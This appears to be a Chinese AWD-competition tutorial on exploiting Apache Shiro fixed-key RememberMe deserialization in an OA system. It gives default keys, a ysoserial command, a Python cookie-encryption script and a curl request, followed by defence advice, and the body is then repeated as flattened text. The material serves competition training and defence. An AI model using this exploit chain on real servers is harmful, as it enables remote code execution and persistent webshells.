记第一次AWD与ISW之旅
字数 1169 2025-08-19 12:42:07

Shiro反序列化漏洞实战教学文档

1. 漏洞背景

根据提供的链接信息,目标系统(新翔OA管理系统)存在Shiro框架的固定密钥漏洞,导致可以实施反序列化攻击。这是一个典型的Java反序列化安全问题,在AWD(Attack With Defense)竞赛环境中经常出现。

2. 漏洞原理

2.1 Shiro框架安全机制

Shiro是一个Java安全框架,提供认证、授权、加密和会话管理功能。它使用RememberMe功能来保持用户登录状态。

2.2 漏洞成因

  • 固定密钥问题:Shiro使用AES加密RememberMe cookie,但许多系统使用默认或公开的加密密钥
  • 反序列化漏洞:加密后的数据会被反序列化,如果攻击者能够伪造有效的RememberMe cookie并控制反序列化过程,就能执行任意代码

3. 漏洞检测

3.1 识别Shiro框架

  1. 检查HTTP响应头中是否有rememberMe=deleteMe字段
  2. 检查Cookie中是否有rememberMe字段

3.2 检测固定密钥

使用已知的Shiro默认密钥列表进行测试:

kPH+bIxk5D2deZiIxcaaaA==
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==

4. 漏洞利用

4.1 工具准备

  • ysoserial:Java反序列化利用工具
  • Python脚本:生成恶意RememberMe cookie
  • Burp Suite:拦截和修改HTTP请求

4.2 利用步骤

  1. 生成恶意序列化对象
java -jar ysoserial.jar CommonsBeanutils1 "command" > payload.ser
  1. 使用已知密钥加密payload
from Crypto.Cipher import AES
import base64
import sys

def encrypt(key, payload):
    cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, IV=b'\x00'*16)
    padded = payload + bytes([16 - len(payload) % 16] * (16 - len(payload) % 16))
    encrypted = cipher.encrypt(padded)
    return base64.b64encode(encrypted).decode()

key = "kPH+bIxk5D2deZiIxcaaaA=="  # 已知密钥
with open("payload.ser", "rb") as f:
    payload = f.read()
print(encrypt(key, payload))
  1. 构造恶意Cookie
    将生成的加密数据作为RememberMe cookie发送:
Cookie: rememberMe=[加密后的payload]
  1. 发送请求
    使用Burp Repeater或curl发送带有恶意cookie的请求:
curl -H "Cookie: rememberMe=[加密后的payload]" http://target.com

5. 防御措施

5.1 修复方案

  1. 升级Shiro版本:使用最新版Shiro框架
  2. 更换加密密钥:生成新的随机密钥替换默认密钥
  3. 禁用反序列化:配置Shiro不使用Java原生序列化

5.2 配置示例

在shiro.ini中配置自定义密钥:

securityManager.rememberMeManager.cipherKey = ${your.random.base64.encoded.key}

6. AWD竞赛技巧

  1. 快速识别:编写脚本自动检测Shiro框架和测试常见密钥
  2. 批量利用:准备自动化脚本快速攻击多个目标
  3. 防御加固:在修复自己系统的同时监控对手攻击行为
  4. 日志监控:实时监控系统日志发现攻击行为

7. 扩展知识

  1. 其他利用链:除了CommonsBeanutils1,还可以尝试其他ysoserial利用链
  2. 内存马注入:通过反序列化注入内存webshell维持权限
  3. 流量分析:在AWD中分析对手的攻击流量获取有用信息

8. 参考资源

  1. Shiro官方文档
  2. ysoserial项目
  3. Java反序列化漏洞白皮书
  4. AWD竞赛经验分享

通过以上步骤,可以有效地利用Shiro反序列化漏洞获取系统权限,同时在防御方面也能采取相应措施保护自己的系统。在AWD竞赛中,这种漏洞的快速利用和防御往往是胜负的关键。

Shiro反序列化漏洞实战教学文档 1. 漏洞背景 根据提供的链接信息,目标系统(新翔OA管理系统)存在Shiro框架的固定密钥漏洞,导致可以实施反序列化攻击。这是一个典型的Java反序列化安全问题,在AWD(Attack With Defense)竞赛环境中经常出现。 2. 漏洞原理 2.1 Shiro框架安全机制 Shiro是一个Java安全框架,提供认证、授权、加密和会话管理功能。它使用RememberMe功能来保持用户登录状态。 2.2 漏洞成因 固定密钥问题 :Shiro使用AES加密RememberMe cookie,但许多系统使用默认或公开的加密密钥 反序列化漏洞 :加密后的数据会被反序列化,如果攻击者能够伪造有效的RememberMe cookie并控制反序列化过程,就能执行任意代码 3. 漏洞检测 3.1 识别Shiro框架 检查HTTP响应头中是否有 rememberMe=deleteMe 字段 检查Cookie中是否有 rememberMe 字段 3.2 检测固定密钥 使用已知的Shiro默认密钥列表进行测试: 4. 漏洞利用 4.1 工具准备 ysoserial:Java反序列化利用工具 Python脚本:生成恶意RememberMe cookie Burp Suite:拦截和修改HTTP请求 4.2 利用步骤 生成恶意序列化对象 使用已知密钥加密payload 构造恶意Cookie 将生成的加密数据作为RememberMe cookie发送: 发送请求 使用Burp Repeater或curl发送带有恶意cookie的请求: 5. 防御措施 5.1 修复方案 升级Shiro版本 :使用最新版Shiro框架 更换加密密钥 :生成新的随机密钥替换默认密钥 禁用反序列化 :配置Shiro不使用Java原生序列化 5.2 配置示例 在shiro.ini中配置自定义密钥: 6. AWD竞赛技巧 快速识别 :编写脚本自动检测Shiro框架和测试常见密钥 批量利用 :准备自动化脚本快速攻击多个目标 防御加固 :在修复自己系统的同时监控对手攻击行为 日志监控 :实时监控系统日志发现攻击行为 7. 扩展知识 其他利用链 :除了CommonsBeanutils1,还可以尝试其他ysoserial利用链 内存马注入 :通过反序列化注入内存webshell维持权限 流量分析 :在AWD中分析对手的攻击流量获取有用信息 8. 参考资源 Shiro官方文档 ysoserial项目 Java反序列化漏洞白皮书 AWD竞赛经验分享 通过以上步骤,可以有效地利用Shiro反序列化漏洞获取系统权限,同时在防御方面也能采取相应措施保护自己的系统。在AWD竞赛中,这种漏洞的快速利用和防御往往是胜负的关键。